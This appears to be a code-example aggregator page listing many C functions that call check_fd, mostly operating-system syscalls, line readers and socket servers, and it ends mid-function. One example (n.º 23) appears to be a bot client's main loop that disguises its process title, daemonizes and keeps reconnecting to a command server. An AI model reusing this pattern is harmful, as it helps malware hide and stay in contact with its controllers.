Exemplo n.º 1
0
int main(int argc, char **argv) {
  int i = 0;

  if (argc != 5)
    return 1;

  if (strcmp(argv[1], "-o"))
    return 1;

  if (strcmp(argv[2], "-p"))
    return 1;

  if (strcmp(argv[3], "-q"))
    return 1;

  if (strcmp(argv[4], "file1"))
    return 1;

  if (check_file("A", 4))
    return 1;

  if (check_fd(0, 4))
    return 1;

  if (check_fd(1, 1024))
    return 1;

  printf("tests passed\n");

  return 0;
}
Exemplo n.º 2
0
void	xml_scan(CLASS_DISPLAY *d, int ac, char **av)
{
  char	*s;
  BOOL  check;
  FD	xml;

  check = FALSE;
  display_init(d);
  if (ac != 2 || (xml = open(av[1], O_RDWR)) == -1)
    lerror(USAGE);
  if ((check = check_fd(get_next_line(xml), xml, INIT, &s)) == FALSE)
    lerror(USAGE);// || WRONG_FILE ?
  while ((check = check_fd(s, xml, END, &s)))
    scan_line(d, xml, s);
}
Exemplo n.º 3
0
int		start_main_cicle(t_server *server)
{
  while (1)
    {
      if (wait_for_select(server) == -1)
	return (-1);
      if (check_fd(server) == -1)
	return (-1);
      if (server->minerals_consumed >= server->generation_interval)
	{
	  if (generate_minerals(server) == -1)
	    return (-1);
	}
      if (check_requests(server) == -1)
	return (-1);
      if (check_life_players(server) == -1)
	return (-1);
      if (check_end_game(server, MAX_LVL) == -1)
	{
	  printf("Fin de partie\n");
	  return (-1);
	}
    }
  return (0);
}
Exemplo n.º 4
0
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset)
{
	struct inode *inode;
	vma_t *vma_tmp;
	uint64_t va;
	if (check_fd(fd) < 0 || current->files[fd]->inode == NULL)
		return NULL;

	inode = current->files[fd]->inode;
	if (offset + length > inode->p_inode.size)
		return NULL;

	addr = (void *)PGROUNDDOWN((uint64_t)addr);

	if ((vma_tmp = vma_alloc(current->mm->mmap, (uint64_t)addr, length)) == NULL)
		return NULL;

	for (va = vma_tmp->vm_start; va < vma_tmp->vm_end; va += __PAGE_SIZE) {
		map_page_self(va, 1, 0, PG_USR, 0, 0, 0, PGT_USR | PGT_RW);
	} vma_tmp->file = (addr_t)inode;
	vma_tmp->ofs = offset;

	inode->fs_ops->read(inode, (void *)vma_tmp->vm_start, offset, length);

	vma_insert(current->mm->mmap, vma_tmp);

	return (void *)vma_tmp->vm_start;
}
Exemplo n.º 5
0
int			receive_clients(int fd)
{
  t_fd			fds;
  int			ret;
  t_all			all;

  init_buffer(&(all.buf));
  all.fds = &fds;
  all.channel = NULL;
  all.fds->fd_s = fd;
  all.actual = NULL;
  new_channel(&all, "toto");
  new_channel(&all, "titi");
  if ((add_fd(&all, SERVER_ID, fd, &serv_ptr)) == -1)
    return (-1);
  while (1)
    {
      all.fds->max_fd = set_fds(&all, &(all.fds->fd_read));
      FD_ZERO(&(all.fds->fd_write));
      if ((ret = select(all.fds->max_fd + 1, &(all.fds->fd_read),
			&(all.fds->fd_write),
			NULL, NULL)) == -1)
	return (1);
      check_fd(&all);
    }
  return (0);
}
Exemplo n.º 6
0
errno_t check_and_open_readonly(const char *filename, int *fd,
                                uid_t uid, gid_t gid,
                                mode_t mode, mode_t mask)
{
    int ret;
    struct stat stat_buf;

    *fd = open(filename, O_RDONLY);
    if (*fd == -1) {
        DEBUG(SSSDBG_CRIT_FAILURE,
              "open [%s] failed: [%d][%s].\n", filename, errno,
                  strerror(errno));
        return errno;
    }

    ret = check_fd(*fd, uid, gid, mode, mask, &stat_buf);
    if (ret != EOK) {
        close(*fd);
        *fd = -1;
        DEBUG(SSSDBG_CRIT_FAILURE, "check_fd failed.\n");
        return ret;
    }

    return EOK;
}
Exemplo n.º 7
0
/* Closes file descriptor fd. */
static void
sys_close(int fd) 
{
  check_fd(fd);
  lock_acquire(&secure_file);
  struct thread *cur = thread_current();
  struct list_elem *e;

  /* Cannot use get_file() in place of the below for loop, because we need
     access to the file_elem, which is in the struct proc_file, not the
     struct file. */
  for (e = list_begin (&cur->files); 
       e != list_end (&cur->files);
       e = list_next (e)) 
  {
    struct proc_file *f = list_entry(e, struct proc_file, file_elem);
    if (fd == f->fd) 
    {
      file_close(f->file);
      list_remove(&f->file_elem);
      free(f);
      break;
    }
  }
  lock_release(&secure_file);
}
Exemplo n.º 8
0
int
main(int argc, char *argv[]) {
    int fd1, fd2;
    if (argc != 2) {
        err_quit("Usage: %s file", argv[0]);
    }
    if ((fd1 = open(argv[1], O_RDONLY)) < 0) {
        err_sys("Can't open file `%s`", argv[1]);
    }

    fd2 = mydup2(fd1, 42);

    lseek(fd1, 0, SEEK_END);

    check_fd(fd1);
    check_fd(fd2);
}
Exemplo n.º 9
0
static int inline
is_our_fd (int fd)
{
  if ((!is_registered (&v4v_fds, fd)) && (!is_registered (&v4v_checked, fd)))
    {
      check_fd (fd);
    }
  return is_registered (&v4v_fds, fd);
}
Exemplo n.º 10
0
void	main_loop(t_env *e)
{
  while (42)
    {
      init_fd(e);
      do_select(e);
      check_fd(e);
    }
}
Exemplo n.º 11
0
void		server_loop(t_env *e)
{
	printf("port : %d\n", e->port);
	printf("sockfd : %d\n", e->sockfd);
	while (1)
	{
		init_fd(e);
		do_select(e);
		check_fd(e);
	}
}
Exemplo n.º 12
0
//session 1 implement sys_write
int sys_write(int fd, char * buffer, int size)
{
    update_user_to_system();
    
    // check parameters
    int _error = 0;
    if(check_fd(fd, ESCRIPTURA) < 0) _error = check_fd(fd, ESCRIPTURA);
    else if(buffer == NULL) _error = -EFAULT;
    else if(size < 0) _error = -EINVAL;
    
    if(_error){
      update_system_to_user(current());
      return _error;
    }
    // copy data from user space if needed   
    
    // implement requested service, device dependant
    sys_write_console(buffer, size);
    update_system_to_user(current());
    return size;
}
Exemplo n.º 13
0
Arquivo: client.c Projeto: Azhr4n/Irc
void		main_loop(t_client *client)
{
    choose_nick(client);
    while (!client->exit)
    {
        init_fd(client);
        client->r = select(client->sock + 1, &client->fd_read,
                           &client->fd_write, NULL, NULL);
        check_fd(client);
    }
    close(client->sock);
}
Exemplo n.º 14
0
/* Returns size, in bytes, of file open as 'fd'. */
static int
sys_filesize(int fd) 
{
  check_fd(fd);

  lock_acquire(&secure_file);
  struct file *f = get_file(fd);
  int length = file_length(f);
  lock_release(&secure_file);

  return length;
}
Exemplo n.º 15
0
int get_next_line(const int fd, char **line)
{
	char			buf[BUFF_SIZE + 1];
	t_gnl			*cur;
	static t_gnl	*lstsave;

	if (read(fd, buf, 0) < 0 || !line || BUFF_SIZE < 1)
		return (-1);
	cur = check_fd(&lstsave, fd);
	reader_and_save(fd, buf, cur); ////
	return (write_to_line(line, cur)); //////
}
Exemplo n.º 16
0
int check_file(const char *file_name, const int file_size) {
  int fd;

  if ((fd = open(file_name, O_RDONLY)) < 0)
    return -1;

  if (check_fd(fd, file_size) < 0)
    return -1;

  close(fd);
  return 0;
}
Exemplo n.º 17
0
bool
__check_arg_fd (int fd, const char *file, const char *func, size_t line)
{
  if (!check_fd (fd))
    {
      rc_errno_set (EBADF);

      debug_message (file, func, line, "Invalid file descriptor passed!\n");

      return false;
    }

  return true;
}
Exemplo n.º 18
0
/* Reads 'size' bytes from file open as fd into buffer. Returns number of
   bytes actually read - 0 at end of file, or -1 if file could not be read.
   fd = 0 reads from the keyboard. */
static int
sys_read(int fd, void *buffer, unsigned size, struct intr_frame *f) 
{
  /* Cannot read from stdout. */
  if (fd == STDOUT_FILENO)
    sys_exit(ERROR);
  int bytes;
  void *buf_iter = pg_round_down(buffer);

  check_fd(fd);
  check_buffer(buffer, size);

  lock_acquire(&secure_file);

  for (; buf_iter <= buffer + size; buf_iter += PGSIZE) {
    struct spt_entry *entry = get_spt_entry(&thread_current()->supp_pt, buf_iter);
    if (entry == NULL && should_stack_grow(buf_iter, f->esp)) {
      grow_stack(buf_iter);
    } 
  }

  /* fd = 0 corresponds to reading from stdin. */
  if (fd == STDIN_FILENO) 
  {
    unsigned i;
    uint8_t keys[size];
    /* Make an array of keys pressed. */
    for (i = 0; i < size; i++) 
    {
      keys[i] = input_getc();
    }
    /* Put these keys pressed into the buffer. */
    memcpy(buffer, (const void *) keys, size);
    /* Must have successfully read all bytes we were told to. */
    bytes = size;
  } else {

    struct file *f = get_file(fd);
    if (!f) 
    {
      lock_release(&secure_file);
      return ERROR;
    }
    bytes = file_read(f, buffer, size);
  }

  lock_release(&secure_file);
  return bytes;
}
Exemplo n.º 19
0
void		main_loop(t_env *e)
{
	int		i;

	i = 0;
	while (1)
	{
		i = 0;
		while (i < e->nbteam)
			i++;
		init_fd(e);
		do_select(e);
		check_fd(e);
		serv_update(e);
	}
}
Exemplo n.º 20
0
int					get_next_line(int const fd, char **line)
{
	t_stock			*stock;
	static t_stock	*save;

	if (!line)
		return (-1);
	stock = save;
	if (!(stock = check_fd(fd, stock, &save)))
		return (-1);
	if (!(ft_strchr(stock->str, '\n')))
		stock->status = fill_tmp(stock);
	if (stock->status == -1)
		return (stock->status);
	stock->status = bufcpy(line, stock, save);
	return (stock->status);
}
Exemplo n.º 21
0
/* Writes size bytes from buffer to the OPEN file fd. Returns the number
   of bytes actually written. Since file growth is not implemented, if we
   get to the end of the file, just stop writing and return the number of
   bytes already written. fd = 1 writes to the console. */
static int
sys_write(int fd, const void *buffer, unsigned size) 
{

  if (fd == STDIN_FILENO)
    sys_exit(ERROR);

  check_mem_ptr(buffer);
  check_fd(fd);
  check_buffer(buffer, size);

  int bytes;
  lock_acquire(&secure_file);

  /* fd = 1 corresponds to writing to stdout. */
  if (fd == STDOUT_FILENO)
  {
    /* If we are writing a fairly large amount of bytes to stdout, write
       MAX_CONSOLE_WRITE bytes per call to putbuf(), then write the rest
       of the bytes, calling sys_write() recursively. */
    if (size < MAX_CONSOLE_WRITE) {
      putbuf(buffer, size);

    } else {
      putbuf(buffer, MAX_CONSOLE_WRITE);
      sys_write(fd, buffer + MAX_CONSOLE_WRITE, size - MAX_CONSOLE_WRITE);
    }
    /* Must have successfully written all bytes we were told to. */
    bytes = size;
  } 
    else 
  {
    struct file *f = get_file(fd);
    if (f == NULL) 
    {
      lock_release(&secure_file);
      return ERROR;
    }
    bytes = file_write(f, buffer, size);
  }

  lock_release(&secure_file);

  return bytes;

}
Exemplo n.º 22
0
/* Changes the next byte to be read or written in open file 'fd' to
   'position' (in bytes, from start of file). */
static void
sys_seek(int fd, unsigned position) 
{
  check_fd(fd);

  lock_acquire(&secure_file);
  struct file *f = get_file(fd);

  if (f == NULL) 
  {
    lock_release(&secure_file);
    return;
  }

  file_seek(f, position);
  lock_release(&secure_file);
}
Exemplo n.º 23
0
int main(int argc, char **argv)
{
    alexjlz_log(1, "client started:%s\n", uuid);
    generate_uuid();
    alexjlz_log(1, "uuid generated:%s\n", uuid);
    getOurIP();
    srand(time(NULL) ^ getpid());
    init_rand(time(NULL) ^ getpid());
    set_proc_title(argc, argv, PROC_TITLE);
    alexjlz_log(1, "set proc title success\n");

    while (1)
    {
        if ( daemonize() == 0 )
            break;
        alexjlz_log(3, "daemonize failed\n");
        sleep(3);
    }
    alexjlz_log(3, "daemonize success\n");
    while ( 1 )
    {
        if( (mainCommSock=connect_tcp_server(server, port)) == -1)
        {
            alexjlz_log(3, "connect to server failed\n");
            sleep(5);
            continue;
        }
        alexjlz_log(3, "connect to server success\n");
        if ( ask_for_service( mainCommSock ) == -1 )  // return from this function means connection between client
            // and server are unexpectedly closed
        {
            //fprintf(stdout, "error in client\n");
        }

        if ( check_fd(mainCommSock) )
        {
            close(mainCommSock);
        }
        sleep(3);
    }

    return 0;
}
Exemplo n.º 24
0
/* Returns the position of the next byte to be read or written in open
   file 'fd' (in bytes, from start of file). */
static unsigned
sys_tell(int fd) 
{
  check_fd(fd);

  lock_acquire(&secure_file);
  struct file *f = get_file(fd);

  if (f == NULL) 
  {
    lock_release(&secure_file);
    sys_exit(ERROR);
  }

  int position = file_tell(f);
  lock_release(&secure_file);

  return position;
}
Exemplo n.º 25
0
/* ------------ */
int comm_rcv(struct cnid_dbd_rqst *rqst, time_t timeout, const sigset_t *sigmask, time_t *now)
{
    char *nametmp;
    int b;

    if ((cur_fd = check_fd(timeout, sigmask, now)) < 0)
        return -1;

    if (!cur_fd)
        return 0;

    LOG(log_maxdebug, logtype_cnid, "comm_rcv: got data on fd %u", cur_fd);

    if (setnonblock(cur_fd, 1) != 0) {
        LOG(log_error, logtype_cnid, "comm_rcv: setnonblock: %s", strerror(errno));
        return -1;
    }

    nametmp = (char *)rqst->name;
    if ((b = readt(cur_fd, rqst, sizeof(struct cnid_dbd_rqst), 1, CNID_DBD_TIMEOUT))
        != sizeof(struct cnid_dbd_rqst)) {
        if (b)
            LOG(log_error, logtype_cnid, "error reading message header: %s", strerror(errno));
        invalidate_fd(cur_fd);
        rqst->name = nametmp;
        return 0;
    }
    rqst->name = nametmp;
    if (rqst->namelen && readt(cur_fd, (char *)rqst->name, rqst->namelen, 1, CNID_DBD_TIMEOUT)
        != rqst->namelen) {
        LOG(log_error, logtype_cnid, "error reading message name: %s", strerror(errno));
        invalidate_fd(cur_fd);
        return 0;
    }
    /* We set this to make life easier for logging. None of the other stuff
       needs zero terminated strings. */
    ((char *)(rqst->name))[rqst->namelen] = '\0';

    LOG(log_maxdebug, logtype_cnid, "comm_rcv: got %u bytes", b + rqst->namelen);

    return 1;
}
Exemplo n.º 26
0
int			get_next_line(int const fd, char **line)
{
	static t_dlist	*file = NULL;
	int				ret;
	char			buf[BUFF_SIZE + 1];

	if (!line || fd < 0)
		return (-1);
	*line = NULL;
	if (!check_fd(&file, fd))
		return (-1);
	if (get_prev_read(file, line))
		return (1);
	while ((ret = read(fd, buf, BUFF_SIZE)) > 0)
	{
		buf[ret] = '\0';
		if (read_line(buf, file, line))
			break ;
	}
	if (ret == 0)
		ft_dlstndel(&file, 1, 1);
	return (ret > 0 || *line ? 1 : ret);
}
Exemplo n.º 27
0
int		main()
{
  t_client	client;

  init_param(&client);
  to_serv(&client);
  assign_func(&client);
  while (client.s < 0)
    init_connection(&client);
  while (client.s)
    {
      set_fd(&client);
      if (select(client.fd_max, &(client.fd_read), &(client.fd_write),
		 NULL, NULL) == -1)
	{
	  my_printf(2, "select: %s\n", strerror(errno));
	  break;
	}
      check_fd(&client);
    }
  if (client.s)
    my_close(client.s);
  return (0);
}
Exemplo n.º 28
0
int fd_getdents(int fd, struct dirent *dirp, int count)
{
	struct file *file;
	struct inode *inode;
	int rval = 0;
	if (check_fd(fd))
		return -1;

	file = current->files[fd];

	if ((file->offset % sizeof(struct dirent)) != 0) {
		fs_error("File offset (%d) is not aligned by dirent\n", file->offset);
		return -1;
	}

	inode = current->files[fd]->inode;
	if (inode == NULL || inode->fs_ops == NULL || inode->fs_ops->getdirents == NULL)
		return -1;

	rval = inode->fs_ops->getdirents(inode, dirp, file->offset/sizeof(struct dirent), count);
	if (rval > 0)
		file->offset += rval * sizeof(struct dirent);
	return rval;
}
Exemplo n.º 29
0
/*
 * set up redirection, saving old fds in e->savefd
 */
static int
iosetup(struct ioword *iop, struct tbl *tp)
{
	int u = -1;
	char *cp = iop->name;
	int iotype = iop->flag & IOTYPE;
	bool do_open = true, do_close = false;
	int flags = 0;
	struct ioword iotmp;
	struct stat statb;

	if (iotype != IOHERE)
		cp = evalonestr(cp, DOTILDE|(Flag(FTALKING_I) ? DOGLOB : 0));

	/* Used for tracing and error messages to print expanded cp */
	iotmp = *iop;
	iotmp.name = (iotype == IOHERE) ? NULL : cp;
	iotmp.flag |= IONAMEXP;

	if (Flag(FXTRACE))
		shellf("%s%s\n",
		    substitute(str_val(global("PS4")), 0),
		    snptreef(NULL, 32, "%R", &iotmp));

	switch (iotype) {
	case IOREAD:
		flags = O_RDONLY;
		break;

	case IOCAT:
		flags = O_WRONLY | O_APPEND | O_CREAT;
		break;

	case IOWRITE:
		flags = O_WRONLY | O_CREAT | O_TRUNC;
		/*
		 * The stat() is here to allow redirections to
		 * things like /dev/null without error.
		 */
		if (Flag(FNOCLOBBER) && !(iop->flag & IOCLOB) &&
		    (stat(cp, &statb) < 0 || S_ISREG(statb.st_mode)))
			flags |= O_EXCL;
		break;

	case IORDWR:
		flags = O_RDWR | O_CREAT;
		break;

	case IOHERE:
		do_open = false;
		/* herein() returns -2 if error has been printed */
		u = herein(iop, NULL);
		/* cp may have wrong name */
		break;

	case IODUP: {
		const char *emsg;

		do_open = false;
		if (*cp == '-' && !cp[1]) {
			/* prevent error return below */
			u = 1009;
			do_close = true;
		} else if ((u = check_fd(cp,
		    X_OK | ((iop->flag & IORDUP) ? R_OK : W_OK),
		    &emsg)) < 0) {
			warningf(true, "%s: %s",
			    snptreef(NULL, 32, "%R", &iotmp), emsg);
			return (-1);
		}
		if (u == iop->unit)
			/* "dup from" == "dup to" */
			return (0);
		break;
	    }
	}

	if (do_open) {
		if (Flag(FRESTRICTED) && (flags & O_CREAT)) {
			warningf(true, "%s: %s", cp, "restricted");
			return (-1);
		}
		u = open(cp, flags, 0666);
	}
	if (u < 0) {
		/* herein() may already have printed message */
		if (u == -1) {
			u = errno;
			warningf(true, "can't %s %s: %s",
			    iotype == IODUP ? "dup" :
			    (iotype == IOREAD || iotype == IOHERE) ?
			    "open" : "create", cp, cstrerror(u));
		}
		return (-1);
	}
	/* Do not save if it has already been redirected (i.e. "cat >x >y"). */
	if (e->savefd[iop->unit] == 0) {
		/* If these are the same, it means unit was previously closed */
		if (u == iop->unit)
			e->savefd[iop->unit] = -1;
		else
			/*
			 * c_exec() assumes e->savefd[fd] set for any
			 * redirections. Ask savefd() not to close iop->unit;
			 * this allows error messages to be seen if iop->unit
			 * is 2; also means we can't lose the fd (eg, both
			 * dup2 below and dup2 in restfd() failing).
			 */
			e->savefd[iop->unit] = savefd(iop->unit);
	}

	if (do_close)
		close(iop->unit);
	else if (u != iop->unit) {
		if (ksh_dup2(u, iop->unit, true) < 0) {
			int eno;

			eno = errno;
			warningf(true, "%s %s %s",
			    "can't finish (dup) redirection",
			    snptreef(NULL, 32, "%R", &iotmp),
			    cstrerror(eno));
			if (iotype != IODUP)
				close(u);
			return (-1);
		}
		if (iotype != IODUP)
			close(u);
		/*
		 * Touching any co-process fd in an empty exec
		 * causes the shell to close its copies
		 */
		else if (tp && tp->type == CSHELL && tp->val.f == c_exec) {
			if (iop->flag & IORDUP)
				/* possible exec <&p */
				coproc_read_close(u);
			else
				/* possible exec >&p */
				coproc_write_close(u);
		}
	}
	if (u == 2)
		/* Clear any write errors */
		shf_reopen(2, SHF_WR, shl_out);
	return (0);
}
static int ts_input_read(struct tslib_module_info *inf,
             struct ts_sample *samp, int nr)
{
    struct tslib_input *i = (struct tslib_input *)inf;
    struct tsdev *ts = inf->dev;
    struct input_event ev;
    int ret = nr;
    int total = 0;
    samp->total_events = 0;

    LOGV("Input-raw module read");

    if (i->sane_fd == 0)
        i->sane_fd = check_fd(i);

    if (i->sane_fd == -1)
        return 0;

    if (i->using_syn) {
        while (total < nr) {
            ret = read(ts->fd, &ev, sizeof(struct input_event));
            memcpy(&(samp->ev[samp->total_events++]), &ev, sizeof(struct input_event));

            if (ret < (int)sizeof(struct input_event)) {
                total = -1;
                break;
            }

            switch (ev.type) {
            case EV_KEY:
                switch (ev.code) {
                case BTN_TOUCH:
                    if (ev.value == 0) {
                        /* pen up */
                        i->current_p = 0;
                        samp->x = 0;
                        samp->y = 0;
                        samp->pressure = 0;
                        samp->tv = ev.time;
                        samp++;
                        total++;
                    }
                    break;
                }
                break;
            case EV_SYN:
                /* Fill out a new complete event */
                samp->x = i->current_x;
                samp->y = i->current_y;
                //Added just for Android
                // If this SYN event is the one following
                // a KEY event keep pressure 0 Change
                // current to 255 so next event will have down action
                if (i->current_p == 0) {
                    samp->pressure = 0;
                    i->current_p = 255;
                }
                else {
                    samp->pressure = i->current_p;
                }
                samp->tv = ev.time;
                LOGV("Input-raw read -----> x = %d, y = %d, \
                pressure = %d", samp->x, samp->y, samp->pressure);
    #ifdef DEBUG
                fprintf(stderr, "RAW---------------------> \
                %d %d %d %d.%d\n",samp->x, samp->y, samp->pressure,
                samp->tv.tv_sec,samp->tv.tv_usec);
    #endif       /*DEBUG*/
                samp++;
                total++;
                break;
            case EV_ABS:
                switch (ev.code) {
                case ABS_X:
                    i->current_x = ev.value;
                    break;
                case ABS_Y:
                    i->current_y = ev.value;
                    break;
                case ABS_PRESSURE:
                    i->current_p = ev.value;
                    break;
                }
                break;
            }
        }
        ret = total;
    } else {